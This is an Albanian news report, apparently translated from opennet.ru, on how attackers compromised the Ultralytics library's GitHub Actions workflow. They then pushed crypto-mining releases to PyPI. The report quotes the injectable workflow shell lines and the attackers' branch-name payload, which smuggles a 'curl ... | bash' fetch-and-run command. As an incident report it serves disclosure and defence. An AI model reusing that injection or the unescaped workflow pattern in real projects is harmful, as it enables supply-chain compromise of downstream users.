Një gabim në menaxherin e GitHub Actions çoi në publikimin e lëshimeve të dëmshme të Ultralytics

Agresorët arritën të ekzekutojnë kod me të drejtat e procesorit GitHub Actions në depozitën e bibliotekës Python Ultralytics, e cila përdoret për zgjidhjen e detyrave të vizionit kompjuterik, siç është identifikimi i objekteve në imazhe dhe segmentimi i imazheve. Pas marrjes së aksesit në depo, sulmuesit publikuan disa versione të reja të Ultralytics në katalogun PyPI, duke përfshirë ndryshime të dëmshme për minimin e kriptomonedhave. Në muajin e fundit, biblioteka Ultralytics është shkarkuar më shumë se 6.4 milion herë nga katalogu PyPI.

PĂ«r tĂ« komprometuar depozitĂ«n u shfrytĂ«zua njĂ« dobĂ«si nĂ« paketĂ«n ultralytics-actions, e cila pĂ«rdoret pĂ«r tĂ« aktivizuar automatikisht procesorĂ«t me rastin e ndodhisĂ« sĂ« caktuar nĂ« depozitat nĂ« GitHub, duke pĂ«rdorur mekanizmin GitHub Actions. NĂ« projektin ultralytics, procesori i ndjeshĂ«m lidhej me ngjarjen pull_request_target dhe aktivizohej me hyrjen e pull-request-eve tĂ« reja. NĂ« veçanti, pĂ«r formatimin e kodit nĂ« pull-request-et e dĂ«rguara aktivizohej procesori format.yml dhe ekzekutohej kodi i specifikuar nĂ« seksionin "run" tĂ« skedarit action.yml, i cili kishte komandat shell me modele tĂ« zĂ«vendĂ«simit: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"

Pra, në komandat shell pa ekranuar siç duhet, përfshihej emri i degës Git të përmendur në pull-request. Rëndësishëm është se në muajin gusht në paketën ultralytics-actions u korrigjua një dobësi e ngjashme, e lidhur me përdorimin e një vlere të jashtme në funksionin echo: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Për të organizuar ekzekutimin e kodit të tij në kontekstin e procesorit GitHub Actions, sulmuesit dërguan një pull-request në depozitën ultralytics, duke caktuar si emër të degës: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Si rezultat, me mbĂ«rritjen e pull-request-it, nĂ« kod u zĂ«vendĂ«sua rreshti i caktuar nga sulmuesit "$(
)", i cili me aktivizimin e mĂ«vonshĂ«m tĂ« procesorit çoi nĂ« ekzekutimin e kodit "curl -sSfL raw.githubusercontent.com/
/file.sh | bash".

Një gabim në menaxherin e GitHub Actions çoi në publikimin e lëshimeve të dëmshme të Ultralytics

Ekzekutimi i kodit në kontekstin e GitHub Actions mund të përdoret për të kapur tokenin e aksesit në depo dhe të dhëna të tjera të ndjeshme. Siç e arritën sulmuesit të formonin një lëshim, duke fituar mundësinë për të ekzekutuar kodin e tyre në GitHub Actions, nuk është e qartë. Supozohet se kjo ishte e mundur për shkak të ndryshimit të trajtuesit publish.yml (sulmuesit hoqën kontrollin e llogarisë me të cilën lejohet publikimi i lëshimeve në PyPI) dhe përdorimit të teknikës së helmit në cache të ndërtimit të GitHub Actions për të futur të dhënat e tyre në lëshim.

Lëshimi i parë keqdashës Ultralytics 8.3.41 u publikua nga sulmuesit në katalogun PyPI më 4 dhjetor në orën 23:51 (MSK) dhe u hoq në orën 12:15 ditën tjetër. Në orën 15:47 u publikua një lëshim tjetër 8.3.42, i cili u hoq në orën 16:47. Kështu, versionet keqdashëse ishin në dispozicion për shkarkim për rreth 13 orë (në ditë në PyPI regjistrohen rreth 250 mijë shkarkime të bibliotekës ultralytics). Në përmbajtjen e lëshimeve 8.3.41 dhe 8.3.42 kishte kod që realizonte shkarkimin nga një komponent i jashtëm. serverë XMRig për minuar kriptovalutë.

Zhvilluesit e projektit e rregulluan problemin dhe formuan lĂ«shimet korrigjuese 8.3.43 dhe 8.3.44, por pas dy ditĂ«sh u krye njĂ« sulm tjetĂ«r, gjatĂ« tĂ« cilit sulmuesit publikuan sot nĂ« orĂ«n 04:41 dhe 05:27 (MSK) dy lĂ«shime tĂ« tjera keqdashĂ«se — 8.3.45 dhe 8.3.46, qĂ« pĂ«rmbanin kod tjetĂ«r pĂ«r minuar. Deri nĂ« pĂ«rfundimin e hetimeve, pĂ«rdoruesve u rekomandohet tĂ« presin pĂ«r tĂ« instaluar versionet e reja dhe tĂ« konfirmojnĂ« nĂ« varĂ«si lĂ«shimin 8.3.44.

Burimi: opennet.ru

Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS đŸ”„ Blini hosting tĂ« besueshĂ«m pĂ«r faqe interneti me mbrojtje nga DDoS, serverĂ« VPS VDS | ProHoster